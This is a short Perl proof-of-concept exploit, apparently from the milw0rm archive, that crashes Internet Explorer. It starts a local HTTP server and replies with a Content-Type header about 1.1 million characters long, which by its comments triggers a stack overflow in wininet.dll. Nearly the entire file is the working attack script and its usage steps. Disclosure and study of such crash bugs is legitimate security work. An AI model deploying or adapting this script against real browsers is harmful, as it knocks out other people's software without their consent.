#!/usr/bin/perl
# Stack overflow in wininet.dll while parsing huge( > ~1M) Content-Type response
# ex.: Unhandled exception at 0x771c00ee in IEXPLORE.EXE: 0xC00000FD: Stack overflow.
#
# discovered by Firestorm
#
# Usage:
# 1) run this code
# 2) open http://127.0.0.1/ with IE
#
use IO::Socket;
my $sock=new IO::Socket::INET (Listen => 1,
LocalAddr => 'localhost',
LocalPort => 80,
Proto => 'tcp');
die unless $sock;
$huge="A" x 1100000;
$|=1;
print ">http server started on port 80... try 'iexplore http://127.0.0.1/' \n";
$z=$sock->accept();
print ">connection!\n";
do
{
$ln=<$z>;
print $ln;
chomp $ln;
if (($ln eq "")||($ln eq "\n")||($ln eq "\r"))
{
print ">sending response\n";
print $z "HTTP/1.1 200 OK\r\nServer: X3 1.0\r\nContent-Type: $huge\r\nConnection: close\r\n\r\ndone";
close($z);
exit;
}
} while (true);
# milw0rm.com [2006-07-20]